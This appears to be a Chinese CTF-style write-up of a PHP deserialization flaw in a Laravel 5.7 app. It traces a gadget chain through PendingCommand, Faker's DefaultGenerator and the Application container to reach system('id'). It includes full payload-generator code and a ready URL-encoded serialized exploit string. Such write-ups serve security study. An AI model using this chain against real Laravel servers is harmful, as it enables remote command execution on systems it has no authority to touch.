入口
入口1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
    public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);
        }
    }
}
有反序列化的点
坑
在vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php
发现了一个call_user_func可控的点
不过他是一个静态调用,无法序列化1
2
3if (static::$toMailCallback) {
    return call_user_func(static::$toMailCallback, $notifiable, $this->token);
}
PendingCommand
关于该文件
https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html
在vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php

文档中说明了,command是执行的命令,而parameters是参数,注意这里的paramters是一个数组
有一个run函数,描述为Execute the command.,并且,该文件的__destruct函数调用了run方法1
2
3
4
5
6
7
8public function __destruct()
{
    if ($this->hasExecuted) {
        return;
    }
    $this->run();
}
| 1 | public function run() | 
关键函数应该就是这个call函数了,在vendor/laravel/framework/src/Illuminate/Contracts/Console/Kernel.php
那么要执行到call,就要先执行mockConsoleOutput()
我们构造payload进行调试1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        public function __construct()
        {
            $this->command = 'system';
            $this->parameters = array('id');
        }
    }
}
namespace{
    $a = new Illuminate\Foundation\Testing\PendingCommand();
    echo urlencode(serialize($a));
}
现在调试发现程序到了
然后再单步跳到了
报了错,直接跳过了foreach,因为此时的test的值是null,那我们给test一个初始值,test是一个类
我这里随便找了一个类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        public function __construct()
        {
            $this->test=new \App\Providers\AppServiceProvider();
            $this->command = 'system';
            $this->parameters = array('id');
        }
    }
}
namespace App\Providers{
    class AppServiceProvider
    {
        public function boot()
        {
            //
        }
    }
}
namespace{
    $a = new Illuminate\Foundation\Testing\PendingCommand();
    echo urlencode(serialize($a));
}
还是报错了,因为没有expectedQuestions这个属性
全局搜索后,都没有发现这个方法,那怎么才能绕过呢
如果有__get方法,就能在不存在expectedQuestions的方法的时候,自动去调用__get方法
于是我们寻找有__get的类
在source/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19class DefaultGenerator
{
    protected $default;
    public function __construct($default = null)
    {
        //expectedQuestions
        $this->default = $default;
    }
    /**
     * @param string $attribute
     *
     * @return mixed
     */
    public function __get($attribute)
    {
        return $this->default;
    }
我们将default的值设置为一个数组,因为返回值是一个数组
| 1 | 
 | 
然后就运行到了
结果又报错了
而此刻我打印出的$app[Kernel::class]的值是null
继续跟进$this->app[Kernel::class]
调用堆栈
到最后一步的时候,判断是否可以实例化,结果不可以。
跟进$this->app[Kernel::class]
resolve的返回值是null

可以控制返回任意一个可实例化的类
我们修改payload让其为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $app;
        public $test;
        protected $command;
        protected $parameters;
        public function __construct()
        {
            $this->app = new \Illuminate\Foundation\Application(new \Illuminate\Foundation\Application);
            $this->test=new \Faker\DefaultGenerator(array("111"=>"aaa","222"=>"bbb"));
            $this->command = 'system';
            $this->parameters = array('id');
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];
        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}
namespace Faker{
    class DefaultGenerator
    {
        public function __construct($default = null)
        {
            //expectedQuestions
            $this->default = $default;
        }
    }
}
namespace{
    $a = new Illuminate\Foundation\Testing\PendingCommand();
    echo urlencode(serialize($a));
}
再调试一下
Illuminate\Foundation\Application 类继承了 Illuminate\Container\Container类的 call方法Illuminate\Foundation\Application类没有call方法,但是它的父类Illuminate\Container\Container是有call方法的
于是 这里跳到了Illuminate\Container\Container
并且Illuminate\Container\Container的call方法又是来自BoundMethod::call

getMethodDependencies函数返回值是array_merge('', array('id'));
于是,相当于是call_user_func_array(system,array('id'));
end
| 1 | O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A7%3A%22default%22%3Ba%3A2%3A%7Bi%3A111%3Bs%3A3%3A%22aaa%22%3Bi%3A222%3Bs%3A3%3A%22bbb%22%3B%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D | 
